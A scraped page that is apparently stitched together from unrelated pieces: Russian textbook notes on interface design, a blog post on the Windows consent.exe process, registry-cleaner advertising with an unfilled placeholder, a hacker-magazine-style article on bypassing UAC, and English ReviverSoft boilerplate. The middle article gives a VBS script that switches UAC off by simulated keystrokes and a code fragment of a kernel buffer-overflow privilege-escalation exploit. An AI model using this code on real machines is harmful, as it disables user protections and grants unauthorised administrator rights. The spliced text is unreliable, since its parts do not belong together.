Согласованный пользователь. Обламываем UAC: Так ли страшна программисту система контроля пользователей? Лезем в обход UAC

Интерфейс может быть согласован в трех аспектах или категориях: физической, синтаксической и семантической.

Физическая согласованность относится к техническим срсдствам: схема клавиатуры, расположение клавиш, использование мыши. Например, для клавиши F3 физическая согласованность имеет место, если она всегда находится в одном и том же месте, нсзависимо от вычислительной системы. Аналогично кнопка выбора мыши будет физически согласована, если она всегда располагается под указательным пальцем.

Синтаксическая согласованность относится к последовательности и порядку появления элементов на экране (язык представления) и последовательности запросов (язык действий). Например: будет иметь место синтаксическая согласованность, если заголовок панели всегда размещается в центре и на верху панели.

Семантическая согласованность относится к значению элементов, составляющих интерфейс. Например, что означает Выход? Где пользователи запрашивают Выход и что затем происходит?

Преимущества согласованного интерфейса

Согласованный интерфейс дает пользователям и разработчикам экономию времени и средств.

Пользователи выигрывают от того, что понадобится меньше времени, чтобы научиться использовать приложения, а потом - для выполнения работы. Согласованный интерфейс сокращает число ошибок пользователя и способствует тому, что пользователь чувствует себя с системой комфортнее.

Согласованный пользовательский интерфейс выгоден и разработчикам приложений, он позволяет выделить общие блоки интерфейса, стандартизировать элементы интерфейса и взаимодействие с ними.

Эти строительные блоки позволяют программистам проще и быстрее создавать и изменять приложения. Хотя пользовательский интерфейс устанавливает правила для элементов интерфейса и интерактивного взаимодействия, он допускает довольно высокую степень гибкости.

Естественность интерфейса

Естественный интерфейс - такой, который не вынуждает пользователя суще­ственно изменять привычные для него способы решения задачи. Это, в частности, означает, что сообщения и результаты, выдаваемые приложением, не должны тре­бовать дополнительных пояснений. Целесообразно также сохранить систему обо­значений и терминологию, используемые в данной предметной области.

Использование знакомых пользователю понятий и образов (метафор) обеспечива­ет интуитивно понятный интерфейс при выполнении его заданий. Вместе с тем, ис­пользуя метафоры, вы не должны ограничивать их машинную реализацию полной ана­логией с одноименными объектами реального мира. Например, в отличие от своего бумажного аналога, папка на Рабочем столе Windows может использоваться для хране­ния целого ряда других объектов (таких, например, как принтеры, калькуляторы, дру­гие папки). Метафоры являются своего рода «мостиком», связывающим образы ре­ального мира с теми действиями и объектами, которыми приходится манипулировать пользователю при его работе па компьютере; они обеспечивают «узнавание», а не «вспо­минание». Пользователи запоминают действие, связанное со знакомым объектом, бо­лее легко, чем они запомнили бы имя команды, связанной с этим действием.

Дружественность интерфейса (принцип «прощения» пользователя)

Пользователи обычно изучают особенности работы с новым программным про­дуктом методом проб и ошибок. Эффективный интерфейсдолжен принимать во внимание такой подход. На каждом этапе работы он должен разрешать только соот­ветствующий набор действий и предупреждать пользователей о тех ситуациях, где они могут повредить системе или данным; еще лучше, если у пользователя существует возможность отменить или исправить выполненные действия.

Даже при наличии хорошо спроектированного интерфейса пользователи могут делать те или иные ошибки. Эти ошибки могут быть как «физического» типа (слу­чайныйвыбор неправильной команды или данных) так и«логического» (принятие неправильного решения на выбор команды или данных). Эффективный интерфейс должен позволять предотвращать ситуации, которые, вероятно закончатся ошибка ми. Он также должен уметь адаптироваться к потенциальным ошибкам пользователя и облегчать ему процесс устраненияпоследствий таких ошибок.

Принцип «обратной связи»

Всегда обеспечивайте обратную связь для действий пользователя. Каждое дей­ствие пользователя должно получать визуальное, аиногда извуковое подтверж­дение того, что программное обеспечение восприняло введенную команду; при этом вид реакции, по возможности, должен учитывать природу выполненного действия.

Обратная связь эффективна в том случае, если она реализуется своевременно, т.е. как можно ближе к точке последнего взаимодействия пользователя с системой. Когда компьютер обрабатывает поступившее задание, полезно предоставить пользо­вателю информацию относительно состояния процесса, а также возможность прервать этот процесс в случае необходимости. Ничто так не смущает не очень опытно­го пользователя, как заблокированный экран, который никак не реагирует на его действия. Типичный пользователь способен вытерпеть только несколько секунд ожи­дания ответной реакции от своего электронного «собеседника».

Простота интерфейса

Интерфейс должен быть простым. При этом имеетсяв виду неупрощенчество, а обеспечение легкости в его изучении и в использовании. Кроме того, он должен предоставлять доступ ко всему перечню функциональных возможностей, предус­мотренных данным приложением. Реализация доступа к широким функциональ­ным возможностям иобеспечение простоты работы противоречат друг другу. Раз­работка эффективного интерфейса призвана сбалансировать эти цели.

Один из возможных путей поддержания простоты - представление на экране информации, минимально необходимой для выполнения пользователем очередно­го шага задания. В частности, избегайте многословных командных имен или сооб­щений. Непродуманные или избыточные фразы затрудняют пользователю извле­чение существенной информации.

Другой путь к созданию простого, но эффективного интерфейса - размещение ипредставление элементов на экране с учетом их смыслового значения илогичес­кой взаимосвязи. Это позволяет использовать в процессе работы ассоциативное мышление пользователя.

Вы можете также помочь пользователям управлять сложностью отображаемой ин­формации, используя последовательное раскрытие (диалоговых окон, разделов меню и т.д.). Последовательное раскрытие предполагает такую организацию информации, при которой в каждый момент времени на экране находится только та ее часть, которая необходима для выполнения очередного шага. Сокращая объем информации, пред­ставленной пользователю, вы тем самым уменьшаете объем информации, подлежащейобработке. Примером такой организации является иерархическое (каскадное) меню, каждый уровень которого отображает только те пункты, которые соответствуют одно­му, выбранному пользователем, пункту более высокого уровня.

Гибкость интерфейса

Гибкость интерфейса - это его способность учитывать уровень подготовки и производительность труда пользователя. Свойство гибкости предполагает возможность изменения структуры диалога и/иливходных данных. Концепция гибкого (адаптивного) интерфейса в настоящее время является одной из основных облас­тейисследования взаимодействия человека и ЭВМ. Основная проблема состоит не в том, как организовать изменения в диалоге, а в том, какие признаки нужно использовать для определения необходимости внесения измененийи их сути.

Эстетическая привлекательность

Проектирование визуальных компонентов является важнейшей составной час­тью разработки программного интерфейса. Корректное визуальное представление используемых объектов обеспечивает передачу весьма важной дополнительной информации о поведении и взаимодействии различных объектов. В то же время следует помнить, что каждый визуальный элемент, который появляется на экране, потенциально требует внимания пользователя, которое, как известно, не безгранич­но. Следует обеспечить формирование на экране такой среды, которая не только содейство­вала бы пониманию пользователем представленной информации, но и позволяла бы сосредоточиться на наиболее важных ее аспектах.

Следует признать, что наибольших успехов в проектировании пользовательско­го интерфейса, обладающего перечисленными свойствами, к настоящему времени добились разработчики компьютерных игр.

Качество интерфейса сложно оценить количественными характеристиками, од­нако более или менее объективную его оценку можно получить на основе приведен­ных ниже частных показателей.

    Время, необходимое определенному пользователю для достижения заданного уровня знаний и навыков по работе с приложением (например , непрофессиональный пользователь должен освоить команды работы с файлами не более чем за 4 часа).

    Сохранение полученных рабочих навыков по истечении некоторого времени (например , после недельного перерыва пользователь должен выполнить определен­ную последовательность операций за заданное время).

    Скорость решения задачи с помощью данного приложения; при этом должно оцениваться не быстродействие системы и не скорость ввода данных с клавиатуры, а время, необходимое для достижения цели решаемой задачи. Исходя из этого, крите­рий оценки по данному показателю может быть сформулирован, например, так: пользо­ватель должен обработать за час не менее 20 документов с ошибкой не более 1 %.

    Субъективная удовлетворенность пользователя при работе с системой (которая количественно можетбыть выражена в процентах или оценкой по 12-ти-бальной шкале).

Обобщая изложенное выше, можно кратко сформулировать те основные правила, соблюдение которых позволяет рассчитывать на создание эффективного пользовательского интерфейса:

    Интерфейспользователя необходимо проектировать иразрабатывать как от­дельный компонент создаваемого приложения.

    Необходимо учитывать возможности и особенности аппаратно-программных средств, на базе которых реализуется интерфейс.

    Целесообразно учитывать особенности и традиции тойпредметной области, к которой относится создаваемое приложение.

    Процесс разработки интерфейса должен носить итерационныйхарактер, его обязательным элементом должно быть согласование полученных результатов с по­тенциальным пользователем.

    Средства и методы реализации интерфейса должны обеспечивать возмож­ность его адаптации к потребностям и характеристикам пользователя.

Приветствую друзья. Сегодня мы поговорим о процессе, который относится к обеспечению безопасности Windows. Честно говоря я многое в плане штатной безопасности Windows — отключаю, достаточно поставить качественный антивирус (мне нравится Каспер) и не лазить по ненужным сайтам. Уже пару лет так и ни одного вируса.

Consent.exe — что это такое?

Consent.exe — согласованный пользовательский интерфейс для административных приложений. Процесс появляется при включенном UAC — он отвечает за вывод запроса для разрешения запуска программы.

Чтобы процесс не надоедал — его можно отключить, просто отключив UAC (User Account Control):

  1. Откройте панель управления, это можно сделать так: зажмите Win + R, напишите команду control или control panel. Нажмите ОК.
  2. Далее — выберите в правом верхнем углу Просмотр: Мелкие значки.
  3. Внизу найдите пункт Учетные записи пользователей. Запустите.
  4. Далее отключите UAC — нажмите по Изменить параметры контроля учетных записей, выбрав далее Никогда не уведомлять. Не забудьте нажать ОК для сохранения изменений.

Картинки-подсказки:




Процесс Consent.exe запускается из системной папки, а именно:

C:\Windows\System32\

Если он присутствует в других местах, например в папке AppData, Roaming, Local, Program Files — тогда ПК стоит проверить на вирусы. Да, он может быть еще в дремучих папках типа C:\Windows\WinSxS\amd64_microsoft-windows-lua_31bf3856ad364e35_10.0.14393.2879_none_1bc1c0adb792cf2b, но это все его оригинальные копии, это нормально. Главное — чтобы он в итоге был в папке Windows, а не например в Program Files.

Кстати я использую Windows 10, версия LTSB (много метро-хлама тут вырезано), посмотрел у себя, поискал в папке System32 файл consent и нашел даже пару библиотек с упоминанием названия:


На форуме Ру Боард нашел инфу: после некоторых обновлений (например KB3172605) файл consent.exe обзаводится функциями телеметрии (вроде UAC-трекинг). Это все относится к Windows 7, в десятке телеметрии и так уже хватает. Поэтому теоритически процесс Consent.exe может стучаться в интернет для отправки пользовательской инфы (хотя никакие логины и пароли не отправляются, это глупости).

Возможно инфа будет полезна: в журнале может быть краснота по поводу consent.exe и mmc.exe, один юзер выяснил — из-за установки Symantec EndPoint Protection. Хотя в принципе лагов нет, только в журнале записи напрягают.

Consent.exe — вирус?

Как уже было сказано — не вирус, а системный компонент.

Однако, я нашел инфу — на форуме чел рассказывает, пользователю пришло письмо, в котором был файл замаскированный под документ. Пользователь запустил файл, после чего постоянно начало появляться предложение внести изменения в систему от процесса Consent.exe. Скорее всего проблема была в том, что вирус хотел внести изменения, и защита UAC, то есть Consent.exe — не давали этого сделать. Поэтому отключать UAC — не всегда хорошая идея.

Если у вас есть подозрения, что у вас на компьютере вирус, тогда проверьте его лучшими утилитами:

  1. Dr.Web CureIt! — мощная утилита по поиску и удалению опасных вирусов типа троянов, червей, руткитов. Скачивается уже с антивирусными базами, проверять ПК может долговато, зависит от количества файлов. Но реально годная утилита.
  2. AdwCleaner — утилита против рекламных вирусов, всяких левых расширений, левых ненужных программ, всяких шпионских модулей. Тоже годная утилита, оч популярная, чистит реестр, запланированные задачи, ярлыки, профили браузеров и другое.
  3. HitmanPro — утилита похожа на предыдущую, тоже качественная, но ищет более дотошно, детальнее, может найти угрозу даже в cookie-файлах.

Заключение

Главное выяснили:

  1. Consent.exe — процесс от защиты UAC.
  2. Можно отключить UAC и тогда процесс не будет вас тревожить, но при этом в теории может висеть в диспетчере, может он выполняет еще другие системные функции.
  3. Под этот процесс спокойно может маскироваться вирус, при подозрениях — просканируйте комп на вирусы (утилиты дал выше).

Удачи и добра, до новых встреч господа!

16.10.2019

Иногда ошибки consent.exe и другие системные ошибки EXE могут быть связаны с проблемами в реестре Windows. Несколько программ может использовать файл consent.exe, но когда эти программы удалены или изменены, иногда остаются "осиротевшие" (ошибочные) записи реестра EXE.

В принципе, это означает, что в то время как фактическая путь к файлу мог быть изменен, его неправильное бывшее расположение до сих пор записано в реестре Windows. Когда Windows пытается найти файл по этой некорректной ссылке (на расположение файлов на вашем компьютере), может возникнуть ошибка consent.exe. Кроме того, заражение вредоносным ПО могло повредить записи реестра, связанные с Windows. Таким образом, эти поврежденные записи реестра EXE необходимо исправить, чтобы устранить проблему в корне.

Редактирование реестра Windows вручную с целью удаления содержащих ошибки ключей consent.exe не рекомендуется, если вы не являетесь специалистом по обслуживанию ПК. Ошибки, допущенные при редактировании реестра, могут привести к неработоспособности вашего ПК и нанести непоправимый ущерб вашей операционной системе. На самом деле, даже одна запятая, поставленная не в том месте, может воспрепятствовать загрузке компьютера!

В связи с подобным риском мы настоятельно рекомендуем использовать надежные инструменты очистки реестра, такие как %%product%% (разработанный Microsoft Gold Certified Partner), чтобы просканировать и исправить любые проблемы, связанные с consent.exe. Используя очистку реестра , вы сможете автоматизировать процесс поиска поврежденных записей реестра, ссылок на отсутствующие файлы (например, вызывающих ошибку consent.exe) и нерабочих ссылок внутри реестра. Перед каждым сканированием автоматически создается резервная копия, позволяющая отменить любые изменения одним кликом и защищающая вас от возможного повреждения компьютера. Самое приятное, что устранение ошибок реестра может резко повысить скорость и производительность системы.


Предупреждение: Если вы не являетесь опытным пользователем ПК, мы НЕ рекомендуем редактирование реестра Windows вручную. Некорректное использование Редактора реестра может привести к серьезным проблемам и потребовать переустановки Windows. Мы не гарантируем, что неполадки, являющиеся результатом неправильного использования Редактора реестра, могут быть устранены. Вы пользуетесь Редактором реестра на свой страх и риск.

Перед тем, как вручную восстанавливать реестр Windows, необходимо создать резервную копию, экспортировав часть реестра, связанную с consent.exe (например, Windows):

  1. Нажмите на кнопку Начать .
  2. Введите "command " в строке поиска... ПОКА НЕ НАЖИМАЙТЕ ENTER !
  3. Удерживая клавиши CTRL-Shift на клавиатуре, нажмите ENTER .
  4. Будет выведено диалоговое окно для доступа.
  5. Нажмите Да .
  6. Черный ящик открывается мигающим курсором.
  7. Введите "regedit " и нажмите ENTER .
  8. В Редакторе реестра выберите ключ, связанный с consent.exe (например, Windows), для которого требуется создать резервную копию.
  9. В меню Файл выберите Экспорт .
  10. В списке Сохранить в выберите папку, в которую вы хотите сохранить резервную копию ключа Windows.
  11. В поле Имя файла введите название файла резервной копии, например "Windows резервная копия".
  12. Убедитесь, что в поле Диапазон экспорта выбрано значение Выбранная ветвь .
  13. Нажмите Сохранить .
  14. Файл будет сохранен с расширением.reg .
  15. Теперь у вас есть резервная копия записи реестра, связанной с consent.exe.

Следующие шаги при ручном редактировании реестра не будут описаны в данной статье, так как с большой вероятностью могут привести к повреждению вашей системы. Если вы хотите получить больше информации о редактировании реестра вручную, пожалуйста, ознакомьтесь со ссылками ниже.

Уж не знаю, сколько раз в тырнетах поднималась пресловутая тема контроля за действиями пользователя (UAC): нужна ли она, насколько эффективна… Но мы рассмотрим этот вопрос еще раз, теперь с чисто прикладной, хакерской точки зрения. Плюсы и минусы системы, а также самое главное - как ее можно обойти.

Итак, что же такое UAC с точки зрения безопасности? Разработчики Windows (видимо, немало озаботившись унылыми сведениями из багтраков, регулярно пополняющимися все новыми и новыми уязвимостями в самой распространенной ОС в мире) решили, что если уж все или почти все юзеры сидят под правами администратора, то надо сделать некий программный компонент, который будет испрашивать у юзеров разрешения. Оставим в стороне холивар на тему «Нужны ли простому юзеру права администратора?», поскольку сей крайне философский вопрос спорен: с одной стороны, права админа простому пользователю, действительно, не нужны, а с другой - они нужны туевой хуче довольно повседневных программ.

Итак, UAC призвана обеспечить пользователям возможность работать, не прибегая к административным правам. Обладая административными правами, пользователь может просматривать и изменять любую часть операционной системы, включая код и данные других пользователей и даже самой Windows. Без административных прав пользователи не могут случайно изменить системные параметры, вредоносная программа не может изменить параметры системной безопасности или отключить авер, а пользователи не могут нарушить безопасность важных данных других пользователей на общедоступных компьютерах. Работа с правами обычного пользователя, таким образом, помогает уменьшить количество срочных вызовов службы поддержки в корпоративных средах, смягчить ущерб от вредоносной программы, способствует более четкой работе домашних компьютеров и защищает уязвимые данные на общедоступных тачках.

UAC делит все исполняемые задачи на две группы - те, которые могут быть исполнены обычными пользователями, и те, которые выполняются только администраторами. UAC незаметно для администратора переводит систему в режим непривилегированного пользователя, а когда требуются права администратора - появляется системный диалог, через который можно временно повысить свои права.

И ведь надо признать, что введение UAC довольно сильно обломало начинающих и не очень кодеров, зарабатывающих себе на жизнь разработкой малвари, так что на специальных бордах заказчики теперь в первую очередь спрашивают о возможности кода работать в Vista/7 и обходить UAC. Платили и до сих пор платят за это вполне адекватные деньги.

Немного ликбеза, или как законно получить права админа

Определить потребность системы и приложений в административных правах можно множеством способов. Один из них - команда контекстного меню и ярлык «Запуск от имени администратора» в пользовательском интерфейсе проводника. Эти элементы содержат цветной значок щита, который должен быть добавлен ко всем кнопкам или пунктам меню, выбор которых приводит к повышению прав.

При выборе элемента «Запуск от имени администратора» проводник вызывает API-функцию ShellExecute с командой «runas».

Подавляющее большинство программ установки требуют административных прав, поэтому загрузчик образов, который инициирует запуск исполняемого файла, содержит код обнаружения установщиков для выявления устаревших версий. Часть алгоритмов используемой загрузчиком эвристики довольно проста: он ищет слова «setup», «install» или «update» в имени файла образа или внутренней информации о версии. Более сложные алгоритмы включают просмотр в исполняемом файле последовательностей байтов, обычно применяемых сторонними разработчиками в служебных программах - установочных оболочках.

Чтобы определить, нуждается ли целевой исполняемый файл в правах администратора, загрузчик образов также вызывает библиотеку совместимости приложений (appcompat). Библиотека обращается к базе данных совместимости приложений, чтобы определить, связаны ли с исполняемым файлом флаги совместимости RequireAdministrator или RunAsInvoker.

Самый общий способ запросить для исполняемого файла административные права - добавить в его файл манифеста приложения тег requestedElevationLevel. Манифесты - это XML-файлы, содержащие дополнительные сведения об образе. Они были введены в Windows XP как способ определения зависимостей для параллельно используемых библиотек DLL и сборок Microsoft .NET Framework.

Наличие в манифесте элемента trustInfo (он показан ниже во фрагменте дампа Firewallsettings.exe) означает, что исполняемый файл был написан для Windows Vista и содержит элемент requestedElevationLevel.

Атрибут level этого элемента может иметь одно из трех значений: asInvoker, highestAvailable и requireAdministrator.







Исполняемые файлы, не требующие административных прав, (например Notepad.exe), имеют значение атрибута asInvoker. В некоторых исполняемых файлах заложено допущение, что администраторы всегда хотят получить максимальные права. Поэтому в них используется значение highestAvailable. Пользователю, запускающему исполняемый файл с этим значением, предлагается повысить права, только если он работает в режиме AAM или рассматривается как администратор согласно определенным ранее правилам, и в связи с этим должен повысить права для обращения к своим административным привилегиям.

Примерами приложений, для которых используется значение highestAvailable, могут служить программы Regedit.exe, Mmc.exe и Eventvwr.exe. Наконец, значение requireAdministrator всегда инициирует запрос повышения и используется всеми исполняемыми файлами, которым не удастся выполнить свои действия без административных прав.

В приложениях со специальными возможностями атрибуту uiAccess задается значение «true» для управления окном ввода в процессах с повышенными правами. Кроме того, для обеспечения этих возможностей они должны быть подписаны и находиться в одном из нескольких безопасных размещений, включая %SystemRoot% и %ProgramFiles%.

Значения, задаваемые исполняемым файлом, можно легко определить, просмотрев его манифест с помощью служебной программы Sigcheck от Sysinternals. Например: sigcheck –m . При запуске образа, который запрашивает административные права, службе сведений о приложении (известна также как AIS, находится в %SystemRoot%System32 Appinfo.dll), работающей в процессе Service Host (%SystemRoot% System32Svchost.exe), предписывается запустить программу Consent. exe (%SystemRoot%System32Consent.exe). Программа Consent создает снимок экрана, применяет к нему эффект затемнения, переключается на рабочий стол, доступный только системной учетной записи, устанавливает затемненный снимок в качестве фона и открывает диалоговое окно повышения прав, содержащее сведения об исполняемом файле. Вывод на отдельном рабочем столе предотвращает изменение этого диалогового окна любой вредоносной программой, работающей под учетной записью пользователя.

Лезем в обход UAC

Итак, теперь о том, для чего мы все здесь, собственно, собрались. Можно ли обойти UAC? Да, можно. Первое решение, так сказать, лобовое. И основано оно на том удивительном факте (или просчете разработчиков Windows?), что при изменении политики UAC системе глубоко фиолетово, как и кто именно это делает, человек при помощи указателя мыши или же все делается программным способом. То есть фактически система не различает, кто именно передвигает заветную стрелочку.

Этим мы и воспользуемся - что нам стоит программно отключить UAC? Ничего! Но пойдем мы нетрадиционным способом - забудем о существующих в языках высокого уровня вроде С++ или C# методах типа SendKeys, а возьмем на вооружение простой VBS-скрипт.

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)
WshShell.SendKeys("change uac")
WScript.Sleep(2000)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")
"// Тут есть одна заковыка - чтобы выбранные изменения
"// вступили в силу, систему нужно перезагрузить
"// WshShell.Run "shutdown /r /f"

Да-да, всего-то и нужно, что воспользоваться благами Windows Script Host (WSH), где, кстати, сокрыто от глаз огромное разнообразие возможностей для управления системой, о которых частенько забывают. Но об этом речь пойдет в другой раз.

Второе решение обхода UAC - тоже программное, но не лобовое, а основанное на уязвимости самой системы.

Переполнение буфера

Казалось бы, какая связь между переполнением буфера и UAC? Оказывается, таящиеся в Windows баги позволяют обойти ограничения UAC и повысить свои права. Сегодня я покажу на конкретном примере, как при помощи тривиального переполнения буфера можно обойти UAC и добиться администраторских прав.

Есть такая WinAPI - RtlQueryRegistryValues (msdn.microsoft.com), она используется для того, чтобы запрашивать множественные значения из реестра одним своим вызовом, что делается с использованием специальной таблицы RTL_QUERY_REGISTRY_TABLE, которая передается в качестве __in__out параметра.

Самое интересное (и постыдное для разработчиков Microsoft) в этой API то, что существует определенный ключ реестра, который можно изменить при помощи ограниченных пользовательских прав: HKCU EUDCSystemDefaultEUDCFont. Если сменить тип этого ключа на REG_BINARY, то вызов RtlQueryRegistryValues приведет к переполнению буфера.

Когда ядерная API-функция Win32k.sys!NtGdiEnableEudc запрашивает ключ реестра HKCUEUDCSystemDefaultEUDCFont, она честно предполагает, что этот ключ реестра имеет тип REG_SZ, так что в буфер передается структура UNICODE_STRING, у которой первое поле является типом ULONG (где представлена длина строки). Но так как мы можем изменить тип этого параметра на REG_BINARY, то систему это ставит в глубокий тупик и она неправильно интерпретирует длину передаваемого буфера, что приводит к переполнению стека.

Ключевой момент эксплойта

UINT codepage = GetACP();
TCHAR tmpstr;
_stprintf_s(tmpstr, TEXT("EUDC\%d"), codepage);
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);

RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0,
REG_BINARY, RegBuf, ExpSize);
__try
{
EnableEUDC(TRUE);
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);

Заключение

Обойти UAC можно. Не скажу, что это легко, ведь разработчики Windows VIsta/W7 постарались на славу, надо отдать им должное. Но все же лазейки остаются. Можно найти одну-две кроличьих дыры, которые способны свести на нет старания команды Windows. Успех в этом случае приходит к тем, кто может работать с отладчиками и дебаггерами типа IDA Pro или WinDBG.

Удачи тебе в твоих стараниях и да пребудет с тобой сила!

Links

Хочешь зарабатывать на поиске уязвимостей в различных программных продуктах? Go for zerodayinitiative.com и получи от $1000 до $10 000 за найденную уязвимость!

The file consent.exe is part of the Windows User Account Control application. The file launches the User Interface for Windows UAC. Disabling the file may render UAC unusable. Windows UAC provides clients with an application that can keep their important files, documents, and applications secure by not allowing public access to these. When another person logs-on into the system, they will not be able to manipulate, change or delete any of the files that you have secured under your UAC account. These may also not be shown to the public. Only the applications and files that you publicly share will be accessed by users who do not have administrative privileges on your PC. In other words, the file serves as a security measure for your files, as well as your PC. On occasion, the file has been found to hog CPU resources. Other than this, the file has never given any major security issues to computers.

How can I stop consent.exe and should I?

Most non-system processes that are running can be stopped because they are not involved in running your operating system. consent.exe . is used by Microsoft Windows , If you shut down consent.exe , it will likely start again at a later time either after you restart your computer or after an application start. To stop consent.exe , permanently you need to uninstall the application that runs this process which in this case is Microsoft Windows , from your system.

After uninstalling applications it is a good idea to scan you Windows registry for any left over traces of applications. Registry Reviver by ReviverSoft is a great tool for doing this.

Is this a virus or other security concern?

ReviverSoft Security Verdict

Please review consent.exe and send me a notification once it has
been reviewed.

What is a process and how do they affect my computer?

A process usually a part of an installed application such as Microsoft Windows , or your operating system that is responsible for running in functions of that application. Some application require that they have processes running all the time so they can do things such as check for updates or notify you when you get an instant message. Some poorly written applications have many processes that run that may not be required and take up valuable processing power within your computer.

Is consent.exe known to be bad for my computer"s performance?

We have not received any complaint about this process having higher than normal impact on PC performance. If you have had bad experiences with it please let us know in a comment below and we will investigate it further.